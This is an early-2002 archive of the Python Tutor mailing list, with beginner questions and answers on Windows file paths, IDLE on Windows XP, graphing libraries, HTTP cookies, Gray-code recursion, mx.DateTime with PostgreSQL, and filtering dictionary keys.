> File size:   1512901    File date:  2001-12-07  Distribution Type:
Freeware
> More Information:  http://www.simtel.net/pub/pd/34761.shtml

> Also look for GNUPlot, there must be an interface to Python for it.

Yes, there is one. I saw it in the Vaults of Parnassus. But I think I have
found the tool good enough for my purposes.

Cheers,

Pijus




From idiot1@netzero.net  Wed Feb  6 03:14:55 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Tue, 05 Feb 2002 22:14:55 -0500
Subject: [Tutor] new tool on the site
Message-ID: <3C609FAF.7A0A7F26@netzero.net>

I am tired of having to write a letter for each new account. I
automated it. hereafter, when we create a new account, we can simply
fill in a simple form with 3 items- the current email, the new account
name, and their new password, then click submit- the script sends
everything else out.

Feel free to click this link, fill in your email, 2 pieces of junk,
and click send.

http://www.howlermonkey.net/SOAnotifier.html

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From danny@intuitivemedia.com  Wed Feb  6 11:18:12 2002
From: danny@intuitivemedia.com (Danny Ruttle)
Date: Wed, 06 Feb 2002 11:18:12 +0000
Subject: [Tutor] os.path.join on windows 2000
In-Reply-To: <D4EB5574F4A7D2119C9E00A0C9EA408D059F596F@SOVEREIGN>
Message-ID: <5.1.0.14.0.20020206111352.00ab07c8@mail.intuitivemedia.com>

Sorry about that - I was trying a few directories during tests.

The following call generates the same exception.

if __name__ == "__main__":
     my_instance = line_parser("c:/test","s.txt","test1.txt")

Any ideas?

regards
Dann-o

At 14:52 05/02/2002 -0800, you wrote:


> > -----Original Message-----
> > From: Danny Ruttle [mailto:danny@intuitivemedia.com]
>
> > I have a class which parses the contents of one file and
> > writes to another file - here's a snippet of the constructor:
> >
> > class line_parser:
> > def __init__(self, base_dir, in_file, out_file):
> >
> >          self.handle = open(os.path.join(base_dir,in_file),"r")
> >          <snipped here>
> >
> >
> > Here's the calling line:
> >
> > if __name__ == "__main__":
> >      my_instance = line_parser("c:/site_root","s.txt","test1.txt")
> >
> > Here's the error raised in Windows 2000 Pro:
> >
> > Traceback (most recent call last):
> >    File
> > "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301,
> > in RunScript
> >      exec codeObject in __main__.__dict__
> >    File "C:\Python21\database\pg_extract.py", line 58, in ?
> >      first = line_parser("c:/test","s.txt","test1.txt")
> >    File "C:\Python21\database\pg_extract.py", line 10, in __init__
> >      self.handle = open(os.path.join(base_dir,in_file),"r")
> > IOError: [Errno 2] No such file or directory: 'c:/test\\s.txt'
>
>In your code above the base directory is "C:/site_root" yet in the traceback
>it's listed as "C:/test". Is it possible that W2K is substituting one value
>for another?
>
>Scott
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor



From rkashyap@sympatico.ca  Wed Feb  6 13:43:16 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Wed, 06 Feb 2002 08:43:16 -0500
Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file
Message-ID: <3C6132F4.3060500@sympatico.ca>

I would not know how you can call this in the middle of reading a file, 
but here is a small program that will list the name of the file and date 
created, in fact lists the entire contents of a directory.

I don't know if it works on cross-platform, but works on win32.

import os
import time

DIR = "D:\\my_dir"
for filename in os.listdir(DIR):
    full_path = os.path.join(DIR, filename)
    created = os.stat(full_path).st_ctime
    print filename + ",", time.ctime(created)

regards,

Kumar




From urnerk@qwest.net  Wed Feb  6 16:45:40 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 06 Feb 2002 08:45:40 -0800
Subject: [Tutor] graphing with Python
In-Reply-To: <00d901c1aecc$088fae80$18adf78c@virketis2>
References: <3C60485C.28313.657454@localhost>
Message-ID: <4.2.0.58.20020206084327.019efda0@pop3.norton.antivirus>

Also, for higher end graphing, I got this URL from
Kevin Altis off list:

http://www.scipy.org/site_content/tutorials/plot_tutorial

Appears a good solution especially for those already
using wxPython (cross-platform) I should think.  I haven't
tried it myself yet, but likely will.

I'd be interested in feedback/reviews from any subscribers
currently using this resource.

Kirby



From jeff@ccvcorp.com  Wed Feb  6 17:34:23 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Wed, 06 Feb 2002 09:34:23 -0800
Subject: [Tutor] os.path.join on windows 2000
References: <E16YVRk-0000Fq-00@mail.python.org>
Message-ID: <3C61691E.229C3FA@ccvcorp.com>

> Danny Ruttle <danny@intuitivemedia.com> wrote:
>
> Sorry about that - I was trying a few directories during tests.
>
> The following call generates the same exception.
>
> if __name__ == "__main__":
>      my_instance = line_parser("c:/test","s.txt","test1.txt")
>
> Any ideas?

My suspicion is that you'll have to abandon the idea of using forward slashes.  Really, you're not benefiting
your cross-platform capabilities by it--if you're hardcoding in a "C:", then you might as well use a \ when
you're hardcoding pathnames.  Once you've *got* a starting point, if you only use the os.path functions to
modify the path, then you'll be perfectly cross-platform, but you're going to need to do something to address
the different ways of handling filesystem roots anyhow.

Have you tried simply using "C:\\test" in the above example?  Unless that fails too (and it shouldn't), then
simply dealing with platform-specific differences there will probably be easier than mucking about changing
attributes of os.  (You could write a function like GetFilesystemRoot() that tests the os module for system
type, and returns 'c:\\', '/', etc.)

Jeff Shannon
Technician/Programmer
Credit International




From urnerk@qwest.net  Wed Feb  6 17:36:39 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 06 Feb 2002 09:36:39 -0800
Subject: [Tutor] Using Flash animations to teach Python
In-Reply-To: <EIEFLCFECLLBKGPNJJIMOEHJIAAA.groups@crash.org>
References: <00d901c1abfb$acbd1b60$6501a8c0@jasonic>
Message-ID: <4.2.0.58.20020206093032.01a0a600@pop3.norton.antivirus>

Lou Talman on one of the math discussion lists I frequent
brought my attention to:

http://www.mathematica.co.kr/mathcomm/20_definitionviz/index.html

which uses short animations of symbolic expressions to
communicate the meanings of Mathematica notations.

This same strategy could be applied to teaching Python of
course.  Indeed, some of the notations are essentially
the same, e.g. this one about map():
http://www.mathematica.co.kr/mathcomm/20_definitionviz/map.html

  -- the apply() one pertains as well:
http://www.mathematica.co.kr/mathcomm/20_definitionviz/apply.html

Yes, these are Flash animations.

Kirby



From dyoo@hkn.eecs.berkeley.edu  Wed Feb  6 17:54:45 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 6 Feb 2002 09:54:45 -0800 (PST)
Subject: [Tutor] NEWBIE looking for help (fwd)
Message-ID: <Pine.LNX.4.21.0202060948380.27379-100000@hkn.eecs.berkeley.edu>

Hi Robert,

Let me foward your message to Tutor; I'm a little busy at the moment, but
I'll try to answer later this evening.

Here's a quicky link to PalmPython, software to build Palm conduits in
Python:

    http://pdacentral.planetmirror.com/palm/preview/34601.html

Other interesting links include the Pippy, a Python interpreter for the
Palm:

    http://www.endeavors.com/pippy/


---------- Forwarded message ----------
Date: Wed,  6 Feb 2002 10:22:07 -0500
From: Robert Garber <garber@centralcatholic.org>
To: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
Subject: Re: [Tutor] NEWBIE looking for help

Thank you very much taking the time to respond to my questions. I have
been working very hard to gather the info needed to complete my project
and i am so far very satisfied with the results. I have been messing
around with writing programs for the PALM OS USING PDA Toolbox. My
eventual goal is to write my program for use on a windows machine as well
as a Palm OS device. That means I will also need to write a conduit to
synch the desktop to the palm. Is python capable of such a task?

Thanks again,
Robert
---------- Original Message ----------------------------------
From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
Date: Mon, 4 Feb 2002 19:03:16 -0800 (PST)

>On Mon, 4 Feb 2002, Robert Garber wrote:
>
>> I am very new to programing and am hoping that Python is the place to
>> start. My question is this: I am a football coach who is very unhappy
>> with some of the software available to use in scouting and keeping
>> stats. I am certian a program of this nature will need to be set up as
>> some type of database that is searchable ( by formation, field
>> position, player number/position, down and distance, etc...)
>
>Hi Robert,
>
>You might be able to do a lot with Python combined with a SQL relational
>database.  It might be good to invest some time looking at SQL.  Here are
>some links that may help explain what SQL is about:
>
>    http://www.arsdigita.com/books/sql/
>    http://www.devshed.com/Server_Side/MySQL/Intro/page1.html
>    http://mysql.com/
>
>A relational database is a fairly flexible medium for saving and querying
>data.  You can learn it independently of Python, and it's not too hard to
>coax a relational database to do basic bread-and-butter stuff.
>
>
>
>> is Python the language to start with? I have purchased the Sams
>> "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to
>> program book". I have also downloaded every tutorial I can find on
>> python. I am enjoying the learning experince and hope that Python is
>> the language to open a whole new world for me. Thans for any help,
>
>Cool!  Glad to hear you're enjoying things.
>
>It must be said that this is "Python-Tutor" --- you may not get an
>unbiased answer here.  *grin* Yes, I think it's a good language to learn
>and use.  It has a fairly nice syntax that tries not to get in the way of
>learning.  It's nice because you can do a lot of casual programming with
>it, yet it's powerful enough to handle things like web serving and
>scientific applications.
>
>Most importantly, it has a great community behind it!  *grin* There's more
>cheerleader-style advocacy here:
>
>    http://www.linuxjournal.com/article.php?sid=3882
>
>Try Python out; it's free, and you can always ask questions here.  We'll
>do our best to answer your questions well.  Ah, by the way, here's a link
>that has another good source of tutorials:
>
>    http://python.org/doc/Newbies.html
>
>
>
>For the sake of completeness, I should mention: there's another powerful
>programming language called Perl, and it too has a strong user community
>behind it.  If you're interested, take a look at:
>
>    http://learn.perl.org/
>
>for more information.  I wouldn't say that Perl is for beginners --- Perl
>code can have a really cryptic syntax, and I think it forces the user to
>carry too much mental baggage.  Still, it's a very popular alternative,
>and it's good to know what choices you have.
>
>
>Good luck to you!
>
>



From m_konermann@gmx.de  Wed Feb  6 18:10:33 2002
From: m_konermann@gmx.de (Keule)
Date: Wed, 06 Feb 2002 19:10:33 +0100
Subject: [Tutor] Idle Problems under WindowsXP
Message-ID: <3C617199.9070004@gmx.de>

Hi @ All !

Does´nt Idle run under WindowsXP ? The Installing Program of Python 
2.1.1 creates a icon , but after clicking on it, nothing happend.

what´s going wrong ?

Greetings
Marcus



From Bill.Scherer@VerizonWireless.com  Wed Feb  6 12:16:47 2002
From: Bill.Scherer@VerizonWireless.com (Scherer, Bill)
Date: Wed, 6 Feb 2002 07:16:47 -0500 (EST)
Subject: [Tutor] Re: Is anyone capable of explaining ?
In-Reply-To: <3C6069DA.18895.92952C@localhost>
Message-ID: <Pine.LNX.4.33.0202060712170.12958-100000@bagend.vzwcorp.com>

On Tue, 5 Feb 2002, A wrote:

> 
> Can anybody please answer the following question?
> 
> Question: How does web browser know what cookies should be 
> sent to server as a response?

The browser determines which cookies to include with a request by 
comparing the domain of the server it is about to contact with 
the domain of the cookies.   I didn't see any domain in the 
cookies you are setting; there should be one.

The template http cookie header:

Set-Cookie: name=value; expires=date; path=pathname; domain=domainname

See:
http://www.webreference.com/js/column8/http.html


-- 
Bill.Scherer at Verizon Wireless
RHCE 807101044903581




From Oleg Broytmann <phd@phd.pp.ru>  Wed Feb  6 12:28:03 2002
From: Oleg Broytmann <phd@phd.pp.ru> (Oleg Broytmann)
Date: Wed, 6 Feb 2002 15:28:03 +0300
Subject: [Tutor] Re: Is anyone capable of explaining ?
In-Reply-To: <Pine.LNX.4.33.0202060712170.12958-100000@bagend.vzwcorp.com>; from Bill.Scherer@VerizonWireless.com on Wed, Feb 06, 2002 at 07:16:47AM -0500
References: <3C6069DA.18895.92952C@localhost> <Pine.LNX.4.33.0202060712170.12958-100000@bagend.vzwcorp.com>
Message-ID: <20020206152803.Q18177@phd.pp.ru>

On Wed, Feb 06, 2002 at 07:16:47AM -0500, Scherer, Bill wrote:
> > Question: How does web browser know what cookies should be 
> > sent to server as a response?
> 
> The browser determines which cookies to include with a request by 
> comparing the domain of the server it is about to contact with 
> the domain of the cookies.   I didn't see any domain in the 
> cookies you are setting; there should be one.

   This is true only partially. If you omit "domain" part of the cookie the
browaser will store current server's domain.

> The template http cookie header:
> Set-Cookie: name=value; expires=date; path=pathname; domain=domainname
                                                     ^^^^^^^^^^^^^^^^^^^
                                                     this is not neccessary

Oleg.
-- 
     Oleg Broytmann            http://phd.pp.ru/            phd@phd.pp.ru
           Programmers don't die, they just GOSUB without RETURN.


From virketis@fas.harvard.edu  Wed Feb  6 18:26:52 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Wed, 6 Feb 2002 13:26:52 -0500
Subject: [Tutor] Idle Problems under WindowsXP
References: <3C617199.9070004@gmx.de>
Message-ID: <014301c1af3b$d9905290$18adf78c@virketis2>

Hm ... IDLEs from both P2.1 and P2.2 run just fine on XP here. Maybe you
should try to see what the icon shortcut is pointing at and to check that
everything is in place. Just try launching IDLE from the command line to =
see
if that works. Also, you might want to check if Tk is installed on your b=
ox
(you know, "import Tkinter"), because IDLE uses it.

Cheers,

-P

----- Original Message -----
From: "Keule" <m_konermann@gmx.de>
To: "SWIG" <swig@cs.uchicago.edu>; "Tutor" <tutor@python.org>
Sent: Wednesday, February 06, 2002 1:10 PM
Subject: [Tutor] Idle Problems under WindowsXP


> Hi @ All !
>
> Does=B4nt Idle run under WindowsXP ? The Installing Program of Python
> 2.1.1 creates a icon , but after clicking on it, nothing happend.
>
> what=B4s going wrong ?
>
> Greetings
> Marcus
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor



From urnerk@qwest.net  Wed Feb  6 18:37:52 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 06 Feb 2002 10:37:52 -0800
Subject: [Tutor] Idle Problems under WindowsXP
In-Reply-To: <3C617199.9070004@gmx.de>
Message-ID: <4.2.0.58.20020206103719.01a06690@pop3.norton.antivirus>

At 07:10 PM 2/6/2002 +0100, Keule wrote:
>Hi @ All !
>
>Does=B4nt Idle run under WindowsXP ? The Installing Program of Python 2.1.1=
=20
>creates a icon , but after clicking on it, nothing happend.
>
>what=B4s going wrong ?

I have an notebook running XP and it has no problems with 2.2
-- never tried 2.1.1 on it.

Kirby



From dyoo@hkn.eecs.berkeley.edu  Wed Feb  6 19:35:11 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 6 Feb 2002 11:35:11 -0800 (PST)
Subject: [Tutor] SysOP Aid
In-Reply-To: <3C609BFB.8A0261FE@netzero.net>
Message-ID: <Pine.LNX.4.21.0202061133330.9087-100000@hkn.eecs.berkeley.edu>

On Tue, 5 Feb 2002, kirk Bailey wrote:

> I get to create and send out a lot of new accounts, and each such
> generates a letter. I am tired od writing these by hand, so I built a
> script and form so all I enter is the existing email, new account
> name, it's password, and click submit- the script cranks out the
> letter and sends it. The majority of the letter is in a file which can
> be easily changed.
> 
> Anyone else need a thing like that?


I think that Rob Andrews of Useless Python would be very interested:

    http://www.lowerstandard.com/python/




From ainsoph3@attbi.com  Wed Feb  6 20:37:44 2002
From: ainsoph3@attbi.com (chris schwan)
Date: 06 Feb 2002 12:37:44 -0800
Subject: [Tutor] Glade
In-Reply-To: <27012922025100.00939@localhost.localdomain>
References: <27012922025100.00939@localhost.localdomain>
Message-ID: <1013027864.1977.1.camel@milarepa>

Hi, Djuro,

I am a bit of a newb myself, but as I was gathering materials for
learning python I came across this:

http://www.icon.co.za/~zapr/Project1.html


It has a tutorial for using glade and python together. I did some of the
work in the toot and it seems pretty good.

Hope that helps!

Chris



On Fri, 2027-01-29 at 18:20, djuro m. wrote:
> 
> 
> Hello everyone!
> 
> Could someone please "explain" to me how to make a simple gui working with
> python code by using Glade. ( I only need to see a code or how is python code
> tied with gui code file)
> 
>   I already tried several times according to
> instructions in available "Getting started-s" but it didn't work. 
> 
> I use RedHat 7.0, Python 1.5.2 and Glade 0.5.9
> 
> For example by Tkinter:
> 
> from Tkinter import *
> 
> top = Tk()
> e = Entry()
> e.pack()
> 
> def Write():
>   global e
>   m = "Hi there!"
>   e.insert(END,m)
> 
> b = Button(text='OK',command = Write)
> b.pack()
> 
> top.mainloop()
> 
> 
> 
> Thank you
> 
> D. M.
> 
> 
> 
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor




From mikalzet@libero.it  Wed Feb  6 22:17:44 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Wed, 6 Feb 2002 23:17:44 +0100 (CET)
Subject: [Tutor] Shifts and DateTime problems
In-Reply-To: <27012922025100.00939@localhost.localdomain>
Message-ID: <Pine.LNX.4.33L2.0202062242450.2397-100000@localhost.localdomain>

All right, so I keep on toying around with my idea on a program for
managing complex shifting schedules.
I have a small example postgres database (5 lines); 4 columns:
the workers name (char), hour at which shift begins (timestamp), hour at
which it ends (timestamp) {...actually I suspect I might as well use just
one column of DateTime interval type, because postgres operators are
available for extracting the beginning and end of an interval....}
and type of shift (text).



If I run this code everything works ok:

import pgdb
db = pgdb.connect(database = 'exampledatabase')
cursor = db.cursor()
cursor.execute('select time("Begin") from shift where
"Type" = \'Automedica\' ;')              # backslashes needed to protect '
cursor.fetchone()
['20:00:00']

I get what I want ... but this is a string I believe, not a DateTime
variable or even an int. I would like to obtain the time as an mx.DateTime
variable which could be passed on to my Shift class.

How do I do that ?

If I do something like:

b = DateTimeFrom(cursor.fetchone())
( with an aim to calling Shift(begin=b) in future )

python sneers at me:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python2.1/site-packages/mx/DateTime/DateTime.py", line
228, in
DateTimeFrom
    value = int(arg)
TypeError: object can't be converted to int

(My problem is going to be how to extract all the values to be fed to
Shift() from my database ... but let's go one step at a time ...  Shift()
is also going to undergo profound changes no doubt .... in fact, if instead
of using begin and end in the database I used an interval it would make sense
to use one in Shift() too...)

Do I have to specify in the class init method that the variables are of
DateTime type ?




If anyone cares here's what I had written for class Shift():
___________________________________________________________

class Shift:

    def __init__(self, name="None", worker="None", begin="None",
end="None"):
        self.name = name
        self.worker = worker
        self.begin = begin
        self.end = end

    def __str__(self):
        return str(self.name) + "\n" + str(self.worker)  + "\n" +
str(self.begin) + str(self.end)


Any hints wwelcome !!

--
Michele Alzetta



From csmith@blakeschool.org  Wed Feb  6 22:57:36 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Wed, 06 Feb 2002 16:57:36 -0600
Subject: [Tutor] a recursion opportunity
Message-ID: <fc.004c4b6b008c1864004c4b6b008c1864.8c18d4@blakeschool.org>

I was reading about Boolean algebra today and happened across a nice
little recursion definition that anyone wanting to sharpen up on recursion
might want to try.  (This would make a nice "stepping stone" exercise in a
series of exercises for beginning programmers.)  

The definition occurred in an article about Gray code:

http://www.nist.gov/dads/HTML/graycode.html

Gray code

(definition) 

Definition: An ordering of 2^n binary numbers such that only one bit
changes from one entry to the next. 

Also known as grey code. 

See also Karnaugh map. 

Note: Gray codes are useful in mechanical encoders since a slight change
in location only affects one bit. Using a typical binary code, up to n
bits could change, and slight misalignments between reading elements could
cause wildly incorrect readings. 

One Gray code for 3 bits is (000, 010, 011, 001, 101, 111, 110, 100). Gray
codes are not unique. An n-bit Gray code corresponds to a Hamiltonian
cycle on an n-dimensional hypercube. 

One way to construct a Gray code for n bits is to take a Gray code for n-1
bits with each code prefixed by 0 (for the first half of the code) and
append the n-1 Gray code reversed with each code prefixed by 1 (for the
second half). Here is an example of creating a 3-bit Gray code from a
2-bit Gray code. 

00	01	11	10	A Gray code for 2 bits
000	001	011	010	the 2-bit code with "0" prefixes
10	11	01	00	the 2-bit code in reverse order
110	111	101	100	the reversed code with "1" prefixes
000	001	011	010	110	111	101	100	A Gray code for 3 bits

Gray codes were discovered by a French engineer Emile Baudot (1845-1903).
The codes were first patented by Frank Gray, a Bell Labs researcher, in
1953. (From Gray Codes). 

So the exercise is to write a function that will return a list of strings
representing the binary numbers in an n-bit Gray code.  If you've done a
permutation code already with recursion then you might think that this is
a "two base case" problem like I did (a case 0 and a case) but as I wrote
this I realized that it has a single base case, namely the Gray code for 0
bits which would be [''].

There is a nice discussion of Gray codes and their physical application to
mechanical devices at 

http://lib-www.lanl.gov/numerical/bookcpdf/c20-2.pdf

Enjoy!

/c



From dyoo@hkn.eecs.berkeley.edu  Wed Feb  6 23:51:49 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 6 Feb 2002 15:51:49 -0800 (PST)
Subject: [Tutor] Shifts and DateTime problems
In-Reply-To: <Pine.LNX.4.33L2.0202062242450.2397-100000@localhost.localdomain>
Message-ID: <Pine.LNX.4.21.0202061549340.14412-100000@hkn.eecs.berkeley.edu>

On Wed, 6 Feb 2002 mikalzet@libero.it wrote:
> cursor.execute('select time("Begin") from shift where
> "Type" = \'Automedica\' ;')              # backslashes needed to protect '
> cursor.fetchone()
> ['20:00:00']
> 
> I get what I want ... but this is a string I believe, not a DateTime
> variable or even an int.

Ah!  Be careful: it's a LIST that contains a single string.  
cursor.fetchone() always returns a list of columns, even if there's just
one column

> b = DateTimeFrom(cursor.fetchone())

Try:

    b = DateTimeFrom(cursor.fetchone()[0])

instead; that should work better, although I haven't had enough time with
mx.DateTime to be sure about this.



From paulsid@shaw.ca  Thu Feb  7 01:11:32 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Wed, 06 Feb 2002 18:11:32 -0700
Subject: [Tutor] NEWBIE looking for help (fwd)
References: <Pine.LNX.4.21.0202060948380.27379-100000@hkn.eecs.berkeley.edu>
Message-ID: <3C61D444.5C35A2A0@shaw.ca>

Danny Yoo forwarded:

> Thank you very much taking the time to respond to my questions. I have
> been working very hard to gather the info needed to complete my project
> and i am so far very satisfied with the results. I have been messing
> around with writing programs for the PALM OS USING PDA Toolbox. My
> eventual goal is to write my program for use on a windows machine as well
> as a Palm OS device. That means I will also need to write a conduit to
> synch the desktop to the palm. Is python capable of such a task?

Plucker - an HTML viewer for Palm devices - uses Python for conduits and
also for spidering the web and parsing the HTML files to get them onto
the handheld.  It's open source so it should serve as a good example for
how to use Python in this capacity.  (It's also a darn handy program!) 
The web site is here:

http://www.plkr.org/

As for the Palm app itself, one of the first things I did after I got my
Palm was look into Pippy, but unfortunately Python just doesn't seem too
well-suited for something like a Palm what with the lack of a file
system and all.  That they were even able to get it to work is quite
amazing, I think.  

I would recommend plain ol' C (because it's fast and small) and
PRC-Tools (because it's free) but there are many other options.  The
unofficial PalmOS programmer's FAQ is a good place to start:

http://tangentsoft.net/palmfaq/

Palm's own developer web site also has some info though it's largely
C-related:

http://www.palmos.com/dev/

Hope that helps.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From mikalzet@libero.it  Thu Feb  7 00:20:53 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Thu, 7 Feb 2002 01:20:53 +0100 (CET)
Subject: [Tutor] Shifts and DateTime problems
Message-ID: <Pine.LNX.4.33L2.0202070115080.3486-100000@localhost.localdomain>

Well, by fumbling around I've finally reached this result:


class Shift:

    def __init__(self, name="None", worker="None", begin="None", end="None"):
        self.name = name
        self.worker = worker
        self.begin = begin
        self.end = end

    def __str__(self):
        return str(self.name) + "\n" + str(self.worker)  + "\n" + str(self.begin) + " - " + str(self.end)

from mx.DateTime import *
import pgdb
db = pgdb.connect(database = 'turni')
cursor = db.cursor()
cursor.execute('select * from shifts;')
shifts = cursor.fetchone()
pythonworker = shifts[0]
pythonname= shifts[3]
pythonbegin = DateTimeFrom(shifts[1])
pythonend = DateTimeFrom(shifts[2])
turno = Shift(name = pythonname, begin=pythonbegin.hour, end = pythonend.hour, worker = pythonworker)
print turno


Which gives me the following output:

Shiftsname
Workersname
7 - 13

So it seems most of the problems I was complaining about are solved.
It does seem sort of fumbling though ...
Any comments  ?

--
Michele Alzetta





From urnerk@qwest.net  Thu Feb  7 06:46:32 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 06 Feb 2002 22:46:32 -0800
Subject: [Tutor] Shifts and DateTime problems
In-Reply-To: <Pine.LNX.4.33L2.0202070115080.3486-100000@localhost.locald
 omain>
Message-ID: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus>

At 01:20 AM 2/7/2002 +0100, mikalzet@libero.it wrote:

>Well, by fumbling around I've finally reached this result:
>
>
>class Shift:
>
>     def __init__(self, name="None", worker="None", begin="None", end="None"):
>         self.name = name
>         self.worker = worker
>         self.begin = begin
>         self.end = end
>
>     def __str__(self):
>         return str(self.name) + "\n" + str(self.worker)  + "\n" + 
> str(self.begin) + " - " + str(self.end)
>
>from mx.DateTime import *
>import pgdb
>db = pgdb.connect(database = 'turni')
>cursor = db.cursor()
>cursor.execute('select * from shifts;')
>shifts = cursor.fetchone()
>pythonworker = shifts[0]
>pythonname= shifts[3]
>pythonbegin = DateTimeFrom(shifts[1])
>pythonend = DateTimeFrom(shifts[2])
>turno = Shift(name = pythonname, begin=pythonbegin.hour, end = 
>pythonend.hour, worker = pythonworker)
>print turno
>
>
>Which gives me the following output:
>
>Shiftsname
>Workersname
>7 - 13
>
>So it seems most of the problems I was complaining about are solved.
>It does seem sort of fumbling though ...
>Any comments  ?

You don't have to name your input arguments as long as they
correspond, i.e. instead of

turno = Shift(name = pythonname, begin=pythonbegin.hour,
               end = pythonend.hour, worker = pythonworker)

you can just go:

shifts = cursor.fetchone()
turno  = Shift(pythonname, pythonbegin.hour,
                pythonend.hour, pythonworker)

You may also choose to skip all those interim variables,
and just go:

shifts = cursor.fetchone()
turno  = Shift(shifts[3],                     # Name
                DateTimeFrom(shifts[1]).hour,  # Start Hour
                DateTimeFrom(shifts[2]).hour,  # End Hour
                shifts[0])                     # Worker

Note where I put my comments -- that's legal.  Just
trying to give you some ideas, point out your
many freedoms.

If the only purpose of your class is really just to
print something formatted, then you don't really
need a class.  But I assume you're thinking to
expand on the above model somehow.

Finally, if DateTimeFrom is all you're using from
mx.DateTime, then I'd go:

from mx.DateTime import DateTimeFrom

but that's a small matter.

Kirby



From Willem de Beer" <awuli@xtra.co.nz  Thu Feb  7 18:02:44 2002
From: Willem de Beer" <awuli@xtra.co.nz (Willem de Beer)
Date: Fri, 8 Feb 2002 07:02:44 +1300
Subject: [Tutor] Python executables
Message-ID: <000801c1b001$a6178660$a47937d2@renee123>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C1B06E.9BD36C60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Good day

I would like to run extremely simple Python 2.0 programs from MS Access.

Any suggestions?


Best regards
Willem


------=_NextPart_000_0005_01C1B06E.9BD36C60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Good day</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I would like to run extremely simple =
Python 2.0=20
programs from MS Access.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any suggestions?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best regards<BR>Willem</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0005_01C1B06E.9BD36C60--




From scarblac@pino.selwerd.nl  Thu Feb  7 18:42:29 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 7 Feb 2002 19:42:29 +0100
Subject: [Tutor] omit some keys from dict
In-Reply-To: <NEBBJNMDEKBIBCMCNMBDEEOBDAAA.karthikg@aztec.soft.net>; from karthikg@aztec.soft.net on Wed, Jan 16, 2002 at 12:25:25AM +0530
References: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus> <NEBBJNMDEKBIBCMCNMBDEEOBDAAA.karthikg@aztec.soft.net>
Message-ID: <20020207194229.A29850@pino.selwerd.nl>

On  0, Karthik Gurumurthy <karthikg@aztec.soft.net> wrote:
> I have a dict and i don't want to look for certain keys.
> "omit" lists the keys i want to omit.
> To get the remaining keys i can probably do this..
> 
> 
> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} #actual
> dict
> omit = [1,3,5]
> checkkeys = [key for key in j.keys() if key not in omit]
> 
> Now how can i write this using *only* filter and lambda?

checkkeys = filter(lambda key: key not in omit, j.keys())

> I thought i w'd'nt use list comprehensions, but now for this problem
> i had to use LCs.

Nah :-)

Things that start with [x for x in ... if] basically *are* filters.

-- 
Remco Gerlich


From shalehperry@attbi.com  Thu Feb  7 18:45:12 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 07 Feb 2002 10:45:12 -0800 (PST)
Subject: [Tutor] omit some keys from dict
In-Reply-To: <NEBBJNMDEKBIBCMCNMBDEEOBDAAA.karthikg@aztec.soft.net>
Message-ID: <XFMail.20020207104512.shalehperry@attbi.com>

On 15-Jan-2002 Karthik Gurumurthy wrote:
> I have a dict and i don't want to look for certain keys.
> "omit" lists the keys i want to omit.
> To get the remaining keys i can probably do this..
> 
> 
> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} #actual
> dict
> omit = [1,3,5]
> checkkeys = [key for key in j.keys() if key not in omit]
> 
> Now how can i write this using *only* filter and lambda?
> 

>>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'}
>>> omit = [1,3,5]
